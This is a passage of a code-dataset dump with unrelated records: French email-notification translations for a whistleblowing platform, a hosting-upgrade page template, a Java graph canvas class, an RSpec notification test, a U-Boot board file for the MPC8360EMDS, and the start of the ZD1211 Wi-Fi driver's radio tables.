signaler un nouveau commentaire à propos d’un envoi existant.\",\n \"New message\": \"Nouveau message\",\n \"You're receiving this email because a password reset has been requested for the account: {Username}\": \"You're receiving this email because a password reset has been requested for the account: {Username}\",\n \"If you didn't make this request, you may safely ignore and delete this email.\": \"Si vous n’êtes pas à l’origine de cette demande, vous pouvez en toute sécurité ignorer et supprimer ce courriel.\",\n \"You can confirm your request by clicking the following link:\": \"Vous pouvez confirmer votre demande en cliquant sur le lien suivant :\",\n \"Password reset instructions\": \"Instructions de réinitialisation du mot de passe\",\n \"This is an email to inform you that your PGP key is expiring or has already expired.\": \"Le but de ce courriel est de vous informer que votre clé PGP expire ou a déjà expiré.\",\n \"You should extend its validity and update the key present on the platform, or upload a new key.\": \"Vous devriez prolonger sa validité et mettre à jour la clé présente sur la plateforme, ou téléverser une nouvelle clé.\",\n \"Without a valid PGP key, the system won't be able to encrypt data provided to you.\": \"Sans une clé PGP valide, le système ne pourra pas chiffrer les données que vous fournissez.\",\n \"Click the link to activate the platform:\": \"Cliquez sur le lien pour activer la plateforme :\",\n \"Activation\": \"Activation\",\n \"A software update is available.\": \"Une mise à jour logicielle est proposée.\",\n \"It is good security practice to keep the platform up to date.\": \"Garder la plateforme à jour constitue une bonne pratique de sécurité.\",\n \"To learn about new features and bug fixes in the new version consult the change log at: {ChangeLogUrl}\": \"Les nouvelles fonctions et les correctifs de bogues de la nouvelle version se trouvent dans le journal des changements : {ChangeLogUrl}\",\n \"For instructions on software updates, please refer to the documentation at: {UpdateGuideUrl}\": \"Pour obtenir des instructions de mise à jour logicielle, veuillez consulter la documentation : {UpdateGuideUrl}\",\n \"The earliest expiration date is {EarliestExpirationDate}.\": \"La prochaine date d’expiration est {EarliestExpirationDate}.\",\n \"Please remember to check them before they are deleted.\": \"Souvenez-vous de les vérifier avant qu’elles ne soient supprimées\",\n \"Some reports will expire soon\": \"Des envois arriverons bientôt à expiration\",\n \"This is an email to notify you that a whistleblower has selected you as a valuable recipient of their report.\": \"Le but de ce courriel est de vous signaler qu’un lanceur d’alerte vous a sélectionné comme destinataire de choix de son envoi.\",\n \"You are asked to pay special attention to the information and material contained therein. Please keep in mind that whistleblowers often expose themselves to high personal risks in the interest of the public. Therefore the material provided within this report should be considered to be of high importance.\": \"Il vous est demandé de prêter une attention particulière aux informations et aux documents ci-inclus. Veuillez vous souvenir que les lanceurs d’alerte prennent souvent des risques dans l’intérêt du public. Par conséquent, les documents qui ont été fournis avec cet envoi doivent être traités avec l’importance qu’ils méritent.\",\n \"New report\": \"Nouvel envoi\",\n \"Role: {Role}\": \"Rôle : {Role}\",\n \"Password: {Password}\": \"Mot de passe : {Password}\"\n}"} +{"text": "{if $promoerror}\n {include file=\"$template/includes/alert.tpl\" type=\"error\" msg=$promoerror textcenter=true}\n{/if}\n\n{if $promorecurring}\n {include file=\"$template/includes/alert.tpl\" type=\"info\"\n msg=$LANG.recurringpromodesc|sprintf2:$promorecurring textcenter=true}\n{/if}\n\n
\n {$LANG.upgradecurrentconfig}: {$groupname} - {$productname}{if $domain} ({$domain}){/if}\n
\n\n\n \n \n \n \n \n \n \n {foreach key=num item=upgrade from=$upgrades}\n {if $type eq \"package\"}\n \n \n \n \n {elseif $type eq \"configoptions\"}\n \n \n \n \n {/if}\n {/foreach}\n \n \n \n \n {if $promodesc}\n \n \n \n \n {/if}\n {if $taxrate}\n \n \n \n \n {/if}\n {if $taxrate2}\n \n \n \n \n {/if}\n \n \n \n \n \n
{$LANG.orderdesc}{$LANG.orderprice}
{$upgrade.oldproductname} => {$upgrade.newproductname}{$upgrade.price}
{$upgrade.configname}: {$upgrade.originalvalue} => {$upgrade.newvalue}{$upgrade.price}
{$LANG.ordersubtotal}:{$subtotal}
{$promodesc}:{$discount}
{$taxname} @ {$taxrate}%:{$tax}
{$taxname2} @ {$taxrate2}%:{$tax2}
{$LANG.ordertotalduetoday}:{$total}
\n\n{if $type eq \"package\"}\n {include file=\"$template/includes/alert.tpl\" type=\"warning\" msg=$LANG.upgradeproductlogic|cat:' ('|cat:$upgrade.daysuntilrenewal|cat:' '|cat:$LANG.days|cat:')' textcenter=true}\n{/if}\n\n
\n
\n\n
\n \n \n \n {if $type eq \"package\"}\n \n \n {/if}\n {include file=\"$template/includes/subheader.tpl\" title=$LANG.orderpromotioncode}\n {foreach from=$configoptions key=cid item=value}\n \n {/foreach}\n
\n \n {if $promocode}\n \n \n \n {else}\n \n \n \n {/if}\n
\n
\n\n
\n
\n\n
\n \n \n \n {if $type eq \"package\"}\n \n \n {/if}\n {foreach from=$configoptions key=cid item=value}\n \n {/foreach}\n {if $promocode}{/if}\n\n {include file=\"$template/includes/subheader.tpl\" title=$LANG.orderpaymentmethod}\n
\n \n
\n\n
\n
\n\n
\n \n
\n\n\n"} +{"text": "/*\n * ParamGraphCanvas.java\n * Copyright (C) 2017 Otto-von-Guericke-University, Magdeburg, Germany\n * @author Tim Sabsch (tim.sabsch@ovgu.de)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\n */\npackage moa.gui.visualization;\n\nimport java.awt.Color;\nimport java.awt.Dimension;\n\nimport moa.evaluation.MeasureCollection;\n\n/**\n * ParamGraphCanvas is an implementation of AbstractGraphCanvas showing the\n * relation between a parameter and the measures.\n *\n * @author Tim Sabsch (tim.sabsch@ovgu.de)\n * @version $Revision: 1 $\n * @see AbstractGraphCanvas\n */\npublic class ParamGraphCanvas extends AbstractGraphCanvas {\n\n private static final long serialVersionUID = 1L;\n\n private double[] variedParamValues;\n\n /**\n * Initialises a ProcessGraphCanvas by calling the super constructor with a\n * ParamGraphAxes as instance of AbstractGraphAxes and GraphScatter as\n * instance of AbstractGraphPlot.\n */\n public ParamGraphCanvas() {\n super(new ParamGraphAxes(), new GraphScatter());\n }\n\n /**\n * Sets the scatter graph.\n *\n * @param measures\n * information about the curves\n * @param measureStds\n * standard deviation for the measures\n * @param variedParamValues\n * values of the varied parameter\n * @param colors\n * color encoding for the param array\n */\n public void setGraph(MeasureCollection[] measures, MeasureCollection[] measureStds,\n double[] variedParamValues, Color[] colors) {\n this.measures = measures;\n this.variedParamValues = variedParamValues;\n ((GraphScatter) this.plotPanel).setGraph(measures, measureStds,\n variedParamValues, colors);\n updateCanvas(false);\n }\n\n @Override\n public double getMinXValue() {\n if (this.variedParamValues == null) {\n // no task with a varied param\n return 0;\n }\n double min = Double.MAX_VALUE;\n\n for (int i = 0; i < this.variedParamValues.length; i++) {\n if (this.variedParamValues[i] < min) {\n min = this.variedParamValues[i];\n }\n }\n return min;\n }\n\n @Override\n public double getMaxXValue() {\n if (this.variedParamValues == null) {\n // no task with a varied param\n return 0;\n }\n double max = Double.MIN_VALUE;\n\n for (int i = 0; i < this.variedParamValues.length; i++) {\n if (this.variedParamValues[i] > max) {\n max = this.variedParamValues[i];\n }\n }\n return max;\n }\n\n @Override\n public void setSize() {\n setSize((int) (baseWidth * x_resolution),\n (int) (baseHeight * y_resolution));\n }\n\n @Override\n public void setPreferredSize() {\n setPreferredSize(new Dimension(getWidth(), getHeight()));\n }\n\n}\n"} +{"text": "require 'rails_helper'\nrequire 'requests_helper'\nrequire 'cancan/matchers'\n\nRSpec.describe NotificationEventCreate, type: :model, emails: true, notifications: true, seeds: true do\n let!(:notification_type) { NotificationType::NEW_EVENTS }\n let(:trigger_event) { create_event }\n let(:receivers) { group_users }\n let!(:user) { create(:user) }\n\n let!(:group) { create(:group, current_user_id: user.id) }\n\n let!(:expected_alerts) { 3 }\n let!(:group_users) do\n expected_alerts.times.map do\n user2 = create(:user)\n create_participation(user2, group)\n user2\n end\n end\n\n def create_event\n event = create(:meeting_event, user: user)\n create(:meeting_organization, event: event, group: group)\n create(:meeting, event: event)\n end\n\n event_process_spec\nend\n"} +{"text": "/*\n * Copyright (C) 2006,2010-2011 Freescale Semiconductor, Inc.\n * Dave Liu \n *\n * See file CREDITS for list of people who contributed to this\n * project.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; either version 2 of\n * the License, or (at your option) any later version.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#if defined(CONFIG_PCI)\n#include \n#endif\n#include \n#include \n#include \n#include \n#include \n#if defined(CONFIG_OF_LIBFDT)\n#include \n#endif\n#include \n#include \n#if defined(CONFIG_PQ_MDS_PIB)\n#include \"../common/pq-mds-pib.h\"\n#endif\n#include \"../../../drivers/qe/uec.h\"\n\nconst qe_iop_conf_t qe_iop_conf_tab[] = {\n\t/* GETH1 */\n\t{0, 3, 1, 0, 1}, /* TxD0 */\n\t{0, 4, 1, 0, 1}, /* TxD1 */\n\t{0, 5, 1, 0, 1}, /* TxD2 */\n\t{0, 6, 1, 0, 1}, /* TxD3 */\n\t{1, 6, 1, 0, 3}, /* TxD4 */\n\t{1, 7, 1, 0, 1}, /* TxD5 */\n\t{1, 9, 1, 0, 2}, /* TxD6 */\n\t{1, 10, 1, 0, 2}, /* TxD7 */\n\t{0, 9, 2, 0, 1}, /* RxD0 */\n\t{0, 10, 2, 0, 1}, /* RxD1 */\n\t{0, 11, 2, 0, 1}, /* RxD2 */\n\t{0, 12, 2, 0, 1}, /* RxD3 */\n\t{0, 13, 2, 0, 1}, /* RxD4 */\n\t{1, 1, 2, 0, 2}, /* RxD5 */\n\t{1, 0, 2, 0, 2}, /* RxD6 */\n\t{1, 4, 2, 0, 2}, /* RxD7 */\n\t{0, 7, 1, 0, 1}, /* TX_EN */\n\t{0, 8, 1, 0, 1}, /* TX_ER */\n\t{0, 15, 2, 0, 1}, /* RX_DV */\n\t{0, 16, 2, 0, 1}, /* RX_ER */\n\t{0, 0, 2, 0, 1}, /* RX_CLK */\n\t{2, 9, 1, 0, 3}, /* GTX_CLK - CLK10 */\n\t{2, 8, 2, 0, 1}, /* GTX125 - CLK9 */\n\t/* GETH2 */\n\t{0, 17, 1, 0, 1}, /* TxD0 */\n\t{0, 18, 1, 0, 1}, /* TxD1 */\n\t{0, 19, 1, 0, 1}, /* TxD2 */\n\t{0, 20, 1, 0, 1}, /* TxD3 */\n\t{1, 2, 1, 0, 1}, /* TxD4 */\n\t{1, 3, 1, 0, 2}, /* TxD5 */\n\t{1, 5, 1, 0, 3}, /* TxD6 */\n\t{1, 8, 1, 0, 3}, /* TxD7 */\n\t{0, 23, 2, 0, 1}, /* RxD0 */\n\t{0, 24, 2, 0, 1}, /* RxD1 */\n\t{0, 25, 2, 0, 1}, /* RxD2 */\n\t{0, 26, 2, 0, 1}, /* RxD3 */\n\t{0, 27, 2, 0, 1}, /* RxD4 */\n\t{1, 12, 2, 0, 2}, /* RxD5 */\n\t{1, 13, 2, 0, 3}, /* RxD6 */\n\t{1, 11, 2, 0, 2}, /* RxD7 */\n\t{0, 21, 1, 0, 1}, /* TX_EN */\n\t{0, 22, 1, 0, 1}, /* TX_ER */\n\t{0, 29, 2, 0, 1}, /* RX_DV */\n\t{0, 30, 2, 0, 1}, /* RX_ER */\n\t{0, 31, 2, 0, 1}, /* RX_CLK */\n\t{2, 2, 1, 0, 2}, /* GTX_CLK = CLK10 */\n\t{2, 3, 2, 0, 1}, /* GTX125 - CLK4 */\n\n\t{0, 1, 3, 0, 2}, /* MDIO */\n\t{0, 2, 1, 0, 1}, /* MDC */\n\n\t{5, 0, 1, 0, 2}, /* UART2_SOUT */\n\t{5, 1, 2, 0, 3}, /* UART2_CTS */\n\t{5, 2, 1, 0, 1}, /* UART2_RTS */\n\t{5, 3, 2, 0, 2}, /* UART2_SIN */\n\n\t{0, 0, 0, 0, QE_IOP_TAB_END}, /* END of table */\n};\n\n/* Handle \"mpc8360ea rev.2.1 erratum 2: RGMII Timing\"? */\nstatic int board_handle_erratum2(void)\n{\n\tconst immap_t *immr = (immap_t *)CONFIG_SYS_IMMR;\n\n\treturn REVID_MAJOR(immr->sysconf.spridr) == 2 &&\n\t REVID_MINOR(immr->sysconf.spridr) == 1;\n}\n\nint board_early_init_f(void)\n{\n\tconst immap_t *immr = (immap_t *)CONFIG_SYS_IMMR;\n\tu8 *bcsr = (u8 *)CONFIG_SYS_BCSR;\n\n\t/* Enable flash write */\n\tbcsr[0xa] &= ~0x04;\n\n\t/* Disable G1TXCLK, G2TXCLK h/w buffers (rev.2.x h/w bug workaround) */\n\tif (REVID_MAJOR(immr->sysconf.spridr) == 2)\n\t\tbcsr[0xe] = 0x30;\n\n\t/* Enable second UART */\n\tbcsr[0x9] &= ~0x01;\n\n\tif (board_handle_erratum2()) {\n\t\tvoid *immap = (immap_t *)(CONFIG_SYS_IMMR + 0x14a8);\n\n\t\t/*\n\t\t * IMMR + 0x14A8[4:5] = 11 (clk delay for UCC 2)\n\t\t * IMMR + 0x14A8[18:19] = 11 (clk delay for UCC 1)\n\t\t */\n\t\tsetbits_be32(immap, 0x0c003000);\n\n\t\t/*\n\t\t * IMMR + 0x14AC[20:27] = 10101010\n\t\t * (data delay for both UCC's)\n\t\t */\n\t\tclrsetbits_be32(immap + 4, 0xff0, 0xaa0);\n\t}\n\treturn 0;\n}\n\nint board_early_init_r(void)\n{\n\tgd_t *gd;\n#ifdef CONFIG_PQ_MDS_PIB\n\tpib_init();\n#endif\n\t/*\n\t * BAT6 is used for SDRAM when DDR size is 512MB or larger than 256MB\n\t * So re-setup PCI MEM space used BAT5 after relocated to DDR\n\t */\n\tgd = (gd_t *)(CONFIG_SYS_INIT_RAM_ADDR + CONFIG_SYS_GBL_DATA_OFFSET);\n\tif (gd->ram_size > CONFIG_MAX_MEM_MAPPED) {\n\t\twrite_bat(DBAT5, CONFIG_SYS_DBAT6U, CONFIG_SYS_DBAT6L);\n\t\twrite_bat(IBAT5, CONFIG_SYS_IBAT6U, CONFIG_SYS_IBAT6L);\n\t}\n\n\treturn 0;\n}\n\n#ifdef CONFIG_UEC_ETH\nstatic uec_info_t uec_info[] = {\n#ifdef CONFIG_UEC_ETH1\n\tSTD_UEC_INFO(1),\n#endif\n#ifdef CONFIG_UEC_ETH2\n\tSTD_UEC_INFO(2),\n#endif\n};\n\nint board_eth_init(bd_t *bd)\n{\n\tif (board_handle_erratum2()) {\n\t\tint i;\n\n\t\tfor (i = 0; i < ARRAY_SIZE(uec_info); i++) {\n\t\t\tuec_info[i].enet_interface_type =\n\t\t\t\tPHY_INTERFACE_MODE_RGMII_RXID;\n\t\t\tuec_info[i].speed = SPEED_1000;\n\t\t}\n\t}\n\treturn uec_eth_init(bd, uec_info, ARRAY_SIZE(uec_info));\n}\n#endif /* CONFIG_UEC_ETH */\n\n#if defined(CONFIG_DDR_ECC) && !defined(CONFIG_ECC_INIT_VIA_DDRCONTROLLER)\nextern void ddr_enable_ecc(unsigned int dram_size);\n#endif\nint fixed_sdram(void);\nstatic int sdram_init(unsigned int base);\n\nphys_size_t initdram(int board_type)\n{\n\tvolatile immap_t *im = (immap_t *) CONFIG_SYS_IMMR;\n\tu32 msize = 0;\n\tu32 lbc_sdram_size;\n\n\tif ((im->sysconf.immrbar & IMMRBAR_BASE_ADDR) != (u32) im)\n\t\treturn -1;\n\n\t/* DDR SDRAM - Main SODIMM */\n\tim->sysconf.ddrlaw[0].bar = CONFIG_SYS_DDR_BASE & LAWBAR_BAR;\n#if defined(CONFIG_SPD_EEPROM)\n\tmsize = spd_sdram();\n#else\n\tmsize = fixed_sdram();\n#endif\n\n#if defined(CONFIG_DDR_ECC) && !defined(CONFIG_ECC_INIT_VIA_DDRCONTROLLER)\n\t/*\n\t * Initialize DDR ECC byte\n\t */\n\tddr_enable_ecc(msize * 1024 * 1024);\n#endif\n\t/*\n\t * Initialize SDRAM if it is on local bus.\n\t */\n\tlbc_sdram_size = sdram_init(msize * 1024 * 1024);\n\tif (!msize)\n\t\tmsize = lbc_sdram_size;\n\n\t/* return total bus SDRAM size(bytes) -- DDR */\n\treturn (msize * 1024 * 1024);\n}\n\n#if !defined(CONFIG_SPD_EEPROM)\n/*************************************************************************\n * fixed sdram init -- doesn't use serial presence detect.\n ************************************************************************/\nint fixed_sdram(void)\n{\n\tvolatile immap_t *im = (immap_t *) CONFIG_SYS_IMMR;\n\tu32 msize = CONFIG_SYS_DDR_SIZE;\n\tu32 ddr_size = msize << 20;\n\tu32 ddr_size_log2 = __ilog2(ddr_size);\n\tu32 half_ddr_size = ddr_size >> 1;\n\n\tim->sysconf.ddrlaw[0].bar =\n\t\tCONFIG_SYS_DDR_SDRAM_BASE & 0xfffff000;\n\tim->sysconf.ddrlaw[0].ar =\n\t\tLAWAR_EN | ((ddr_size_log2 - 1) & LAWAR_SIZE);\n#if (CONFIG_SYS_DDR_SIZE != 256)\n#warning Currenly any ddr size other than 256 is not supported\n#endif\n#ifdef CONFIG_DDR_II\n\tim->ddr.csbnds[0].csbnds = CONFIG_SYS_DDR_CS0_BNDS;\n\tim->ddr.cs_config[0] = CONFIG_SYS_DDR_CS0_CONFIG;\n\tim->ddr.timing_cfg_0 = CONFIG_SYS_DDR_TIMING_0;\n\tim->ddr.timing_cfg_1 = CONFIG_SYS_DDR_TIMING_1;\n\tim->ddr.timing_cfg_2 = CONFIG_SYS_DDR_TIMING_2;\n\tim->ddr.timing_cfg_3 = CONFIG_SYS_DDR_TIMING_3;\n\tim->ddr.sdram_cfg = CONFIG_SYS_DDR_SDRAM_CFG;\n\tim->ddr.sdram_cfg2 = CONFIG_SYS_DDR_SDRAM_CFG2;\n\tim->ddr.sdram_mode = CONFIG_SYS_DDR_MODE;\n\tim->ddr.sdram_mode2 = CONFIG_SYS_DDR_MODE2;\n\tim->ddr.sdram_interval = CONFIG_SYS_DDR_INTERVAL;\n\tim->ddr.sdram_clk_cntl = CONFIG_SYS_DDR_CLK_CNTL;\n#else\n\n#if ((CONFIG_SYS_DDR_SDRAM_BASE & 0x00FFFFFF) != 0)\n#warning Chip select bounds is only configurable in 16MB increments\n#endif\n\tim->ddr.csbnds[0].csbnds =\n\t\t((CONFIG_SYS_DDR_SDRAM_BASE >> CSBNDS_SA_SHIFT) & CSBNDS_SA) |\n\t\t(((CONFIG_SYS_DDR_SDRAM_BASE + half_ddr_size - 1) >>\n\t\t\t\tCSBNDS_EA_SHIFT) & CSBNDS_EA);\n\tim->ddr.csbnds[1].csbnds =\n\t\t(((CONFIG_SYS_DDR_SDRAM_BASE + half_ddr_size) >>\n\t\t\t\tCSBNDS_SA_SHIFT) & CSBNDS_SA) |\n\t\t(((CONFIG_SYS_DDR_SDRAM_BASE + ddr_size - 1) >>\n\t\t\t\tCSBNDS_EA_SHIFT) & CSBNDS_EA);\n\n\tim->ddr.cs_config[0] = CONFIG_SYS_DDR_CS0_CONFIG;\n\tim->ddr.cs_config[1] = CONFIG_SYS_DDR_CS1_CONFIG;\n\n\tim->ddr.cs_config[2] = 0;\n\tim->ddr.cs_config[3] = 0;\n\n\tim->ddr.timing_cfg_1 = CONFIG_SYS_DDR_TIMING_1;\n\tim->ddr.timing_cfg_2 = CONFIG_SYS_DDR_TIMING_2;\n\tim->ddr.sdram_cfg = CONFIG_SYS_DDR_CONTROL;\n\n\tim->ddr.sdram_mode = CONFIG_SYS_DDR_MODE;\n\tim->ddr.sdram_interval = CONFIG_SYS_DDR_INTERVAL;\n#endif\n\tudelay(200);\n\tim->ddr.sdram_cfg |= SDRAM_CFG_MEM_EN;\n\n\treturn msize;\n}\n#endif\t\t\t\t/*!CONFIG_SYS_SPD_EEPROM */\n\nint checkboard(void)\n{\n\tputs(\"Board: Freescale MPC8360EMDS\\n\");\n\treturn 0;\n}\n\n/*\n * if MPC8360EMDS is soldered with SDRAM\n */\n#ifdef CONFIG_SYS_LB_SDRAM\n/*\n * Initialize SDRAM memory on the Local Bus.\n */\n\nstatic int sdram_init(unsigned int base)\n{\n\tvolatile immap_t *immap = (immap_t *) CONFIG_SYS_IMMR;\n\tfsl_lbc_t *lbc = LBC_BASE_ADDR;\n\tconst int sdram_size = CONFIG_SYS_LBC_SDRAM_SIZE * 1024 * 1024;\n\tint rem = base % sdram_size;\n\tuint *sdram_addr;\n\n\t/* window base address should be aligned to the window size */\n\tif (rem)\n\t\tbase = base - rem + sdram_size;\n\n\t/*\n\t * Setup BAT6 for SDRAM when DDR size is 512MB or larger than 256MB\n\t * After relocated to DDR, reuse BAT5 for PCI MEM space\n\t */\n\tif (base > CONFIG_MAX_MEM_MAPPED) {\n\t\tunsigned long batl = base | BATL_PP_10 | BATL_MEMCOHERENCE;\n\t\tunsigned long batu = base | BATU_BL_64M | BATU_VS | BATU_VP;\n\n\t\t/* Setup the BAT6 for SDRAM */\n\t\twrite_bat(DBAT6, batu, batl);\n\t\twrite_bat(IBAT6, batu, batl);\n\t}\n\n\tsdram_addr = (uint *)base;\n\t/*\n\t * Setup SDRAM Base and Option Registers\n\t */\n\tset_lbc_br(2, base | CONFIG_SYS_BR2);\n\tset_lbc_or(2, CONFIG_SYS_OR2);\n\timmap->sysconf.lblaw[2].bar = base;\n\timmap->sysconf.lblaw[2].ar = CONFIG_SYS_LBLAWAR2;\n\n\t/*setup mtrpt, lsrt and lbcr for LB bus */\n\tlbc->lbcr = CONFIG_SYS_LBC_LBCR;\n\tlbc->mrtpr = CONFIG_SYS_LBC_MRTPR;\n\tlbc->lsrt = CONFIG_SYS_LBC_LSRT;\n\tasm(\"sync\");\n\n\t/*\n\t * Configure the SDRAM controller Machine Mode Register.\n\t */\n\tlbc->lsdmr = CONFIG_SYS_LBC_LSDMR_5;\t/* Normal Operation */\n\tlbc->lsdmr = CONFIG_SYS_LBC_LSDMR_1;\t/* Precharge All Banks */\n\tasm(\"sync\");\n\t*sdram_addr = 0xff;\n\tudelay(100);\n\n\t/*\n\t * We need do 8 times auto refresh operation.\n\t */\n\tlbc->lsdmr = CONFIG_SYS_LBC_LSDMR_2;\n\tasm(\"sync\");\n\t*sdram_addr = 0xff;\t/* 1 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 2 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 3 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 4 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 5 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 6 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 7 times */\n\tudelay(100);\n\t*sdram_addr = 0xff;\t/* 8 times */\n\tudelay(100);\n\n\t/* Mode register write operation */\n\tlbc->lsdmr = CONFIG_SYS_LBC_LSDMR_4;\n\tasm(\"sync\");\n\t*(sdram_addr + 0xcc) = 0xff;\n\tudelay(100);\n\n\t/* Normal operation */\n\tlbc->lsdmr = CONFIG_SYS_LBC_LSDMR_5 | 0x40000000;\n\tasm(\"sync\");\n\t*sdram_addr = 0xff;\n\tudelay(100);\n\n\t/*\n\t * In non-aligned case we don't [normally] use that memory because\n\t * there is a hole.\n\t */\n\tif (rem)\n\t\treturn 0;\n\treturn CONFIG_SYS_LBC_SDRAM_SIZE;\n}\n#else\nstatic int sdram_init(unsigned int base) { return 0; }\n#endif\n\n#if defined(CONFIG_OF_BOARD_SETUP)\nstatic void ft_board_fixup_qe_usb(void *blob, bd_t *bd)\n{\n\tif (!hwconfig_subarg_cmp(\"qe_usb\", \"mode\", \"peripheral\"))\n\t\treturn;\n\n\tdo_fixup_by_compat(blob, \"fsl,mpc8323-qe-usb\", \"mode\",\n\t\t\t \"peripheral\", sizeof(\"peripheral\"), 1);\n}\n\nvoid ft_board_setup(void *blob, bd_t *bd)\n{\n\tft_cpu_setup(blob, bd);\n#ifdef CONFIG_PCI\n\tft_pci_setup(blob, bd);\n#endif\n\tft_board_fixup_qe_usb(blob, bd);\n\t/*\n\t * mpc8360ea pb mds errata 2: RGMII timing\n\t * if on mpc8360ea rev. 2.1,\n\t * change both ucc phy-connection-types from rgmii-id to rgmii-rxid\n\t */\n\tif (board_handle_erratum2()) {\n\t\tint nodeoffset;\n\t\tconst char *prop;\n\t\tint path;\n\n\t\tnodeoffset = fdt_path_offset(blob, \"/aliases\");\n\t\tif (nodeoffset >= 0) {\n#if defined(CONFIG_HAS_ETH0)\n\t\t\t/* fixup UCC 1 if using rgmii-id mode */\n\t\t\tprop = fdt_getprop(blob, nodeoffset, \"ethernet0\", NULL);\n\t\t\tif (prop) {\n\t\t\t\tpath = fdt_path_offset(blob, prop);\n\t\t\t\tprop = fdt_getprop(blob, path,\n\t\t\t\t \"phy-connection-type\", 0);\n\t\t\t\tif (prop && (strcmp(prop, \"rgmii-id\") == 0))\n\t\t\t\t\tfdt_fixup_phy_connection(blob, path,\n\t\t\t\t\t\tPHY_INTERFACE_MODE_RGMII_RXID);\n\t\t\t}\n#endif\n#if defined(CONFIG_HAS_ETH1)\n\t\t\t/* fixup UCC 2 if using rgmii-id mode */\n\t\t\tprop = fdt_getprop(blob, nodeoffset, \"ethernet1\", NULL);\n\t\t\tif (prop) {\n\t\t\t\tpath = fdt_path_offset(blob, prop);\n\t\t\t\tprop = fdt_getprop(blob, path,\n\t\t\t\t \"phy-connection-type\", 0);\n\t\t\t\tif (prop && (strcmp(prop, \"rgmii-id\") == 0))\n\t\t\t\t\tfdt_fixup_phy_connection(blob, path,\n\t\t\t\t\t\tPHY_INTERFACE_MODE_RGMII_RXID);\n\t\t\t}\n#endif\n\t\t}\n\t}\n}\n#endif\n"} +{"text": "/* ZD1211 USB-WLAN driver for Linux\n *\n * Copyright (C) 2005-2007 Ulrich Kunitz \n * Copyright (C) 2006-2007 Daniel Drake \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, see .\n */\n\n#include \n\n#include \"zd_rf.h\"\n#include \"zd_usb.h\"\n#include \"zd_chip.h\"\n\n#define IS_AL2230S(chip) ((chip)->al2230s_bit || (chip)->rf.type == AL2230S_RF)\n\nstatic const u32 zd1211_al2230_table[][3] = {\n\tRF_CHANNEL( 1) = { 0x03f790, 0x033331, 0x00000d, },\n\tRF_CHANNEL( 2) = { 0x03f790, 0x0b3331, 0x00000d, },\n\tRF_CHANNEL( 3) = { 0x03e790, 0x033331, 0x00000d, },\n\tRF_CHANNEL( 4) = { 0x03e790, 0x0b3331, 0x00000d, },\n\tRF_CHANNEL( 5) = { 0x03f7a0, 0x033331, 0x00000d, },\n\tRF_CHANNEL( 6) = { 0x03f7a0, 0x0b3331, 0x00000d, },\n\tRF_CHANNEL( 7) = { 0x03e7a0, 0x033331, 0x00000d, },\n\tRF_CHANNEL( 8) = { 0x03e7a0, 0x0b3331, 0x00000d, },\n\tRF_CHANNEL( 9) = { 0x03f7b0, 0x033331, 0x00000d, },\n\tRF_CHANNEL(10) = { 0x03f7b0, 0x0b3331, 0x00000d, },\n\tRF_CHANNEL(11) = { 0x03e7b0, 0x033331, 0x00000d, },\n\tRF_CHANNEL(12) = { 0x03e7b0, 0x0b3331, 0x00000d, },\n\tRF_CHANNEL(13) = { 0x03f7c0, 0x033331, 0x00000d, },\n\tRF_CHANNEL(14) = { 0x03e7c0, 0x066661, 0x00000d, },\n};\n\nstatic const u32 zd1211b_al2230_table[][3] = {\n\tRF_CHANNEL( 1) = { 0x09efc0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL( 2) = { 0x09efc0, 0x8cccd0, 0xb00000, },\n\tRF_CHANNEL( 3) = { 0x09e7c0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL( 4) = { 0x09e7c0, 0x8cccd0, 0xb00000, },\n\tRF_CHANNEL( 5) = { 0x05efc0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL( 6) = { 0x05efc0, 0x8cccd0, 0xb00000, },\n\tRF_CHANNEL( 7) = { 0x05e7c0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL( 8) = { 0x05e7c0, 0x8cccd0, 0xb00000, },\n\tRF_CHANNEL( 9) = { 0x0defc0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL(10) = { 0x0defc0, 0x8cccd0, 0xb00000, },\n\tRF_CHANNEL(11) = { 0x0de7c0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL(12) = { 0x0de7c0, 0x8cccd0, 0xb00000, },\n\tRF_CHANNEL(13) = { 0x03efc0, 0x8cccc0, 0xb00000, },\n\tRF_CHANNEL(14) = { 0x03e7c0, 0x866660, 0xb00000, },\n};\n\nstatic const struct zd_ioreq16 zd1211b_ioreqs_shared_1[] = {\n\t{ ZD_CR240, 0x57 }, { ZD_CR9, 0xe0 },\n};\n\nstatic const struct zd_ioreq16 ioreqs_init_al2230s[] = {\n\t{ ZD_CR47, 0x1e }, /* MARK_002 */\n\t{ ZD_CR106, 0x22 },\n\t{ ZD_CR107, 0x2a }, /* MARK_002 */\n\t{ ZD_CR109, 0x13 }, /* MARK_002 */\n\t{ ZD_CR118, 0xf8 }, /* MARK_002 */\n\t{ ZD_CR119, 0x12 }, { ZD_CR122, 0xe0 },\n\t{ ZD_CR128, 0x10 }, /* MARK_001 from 0xe->0x10 */\n\t{ ZD_CR129, 0x0e }, /* MARK_001 from 0xd->0x0e */\n\t{ ZD_CR130, 0x10 }, /* MARK_001 